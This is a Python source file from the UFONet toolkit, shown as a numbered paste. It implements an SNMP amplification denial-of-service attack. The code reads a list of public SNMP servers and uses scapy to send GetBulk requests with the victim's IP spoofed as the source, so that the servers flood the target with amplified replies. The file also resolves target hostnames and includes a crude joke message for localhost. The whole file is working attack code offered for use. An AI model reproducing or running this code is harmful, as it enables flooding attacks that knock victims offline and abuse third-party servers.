sniper.py 3.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random
  11. try:
  12. from scapy import *
  13. except:
  14. print("\nError importing: scapy lib.\n")
  15. sys.exit(2)
  16. snmp_file = "botnet/snmp.txt" # SNMP servers IP list
  17. oid ="1.3.6.1.2.1.1.1" # OID sysDescr
  18. # UFONet SNMP Amplification (SNIPER) / [Port: UDP/161]
  19. def sniperize(ip, rounds):
  20. n=0
  21. try: # (SNMP) Amplification attack uses publically accessible SNMP servers to flood a target with SNMP response traffic
  22. with open(snmp_file) as f: # extract SNMP servers from file
  23. snmp_d = f.read().splitlines()
  24. f.close()
  25. p_num=0
  26. for x in range (0,int(rounds)):
  27. try:
  28. n=n+1
  29. print("[Info] [AI] [SNIPER] Breaking SNMP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
  30. for j in snmp_d:
  31. p_num += 1
  32. packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=161)/SNMP(version="v2c",community="public",PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))
  33. try:
  34. send(packet, verbose=0) # not using sr1 because non-replies are required
  35. print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
  36. except:
  37. print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
  38. except:
  39. print("[Error] [AI] [SNIPER] Failed breaking SNMP 'parsec' ["+str(n)+"]")
  40. except:
  41. print("[Error] [AI] [SNIPER] Failing to engage... -> Is still target online? -> [Checking!]")
  42. class SNIPER(object):
  43. def attacking(self, target, rounds):
  44. print("[Info] [AI] SNMP Amplification (SNIPER) is ready to broke: [" , rounds, "parsecs ]")
  45. if target.startswith('http://'):
  46. target = target.replace('http://','')
  47. elif target.startswith('https://'):
  48. target = target.replace('https://','')
  49. try:
  50. ip = socket.gethostbyname(target)
  51. except:
  52. try:
  53. import dns.resolver
  54. r = dns.resolver.Resolver()
  55. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  56. url = urlparse(target)
  57. a = r.query(url.netloc, "A") # A record
  58. for rd in a:
  59. ip = str(rd)
  60. except:
  61. ip = target
  62. if ip == "127.0.0.1" or ip == "localhost":
  63. print("[Info] [AI] [SNIPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  64. return
  65. sniperize(ip, rounds) # attack with SNIPER using threading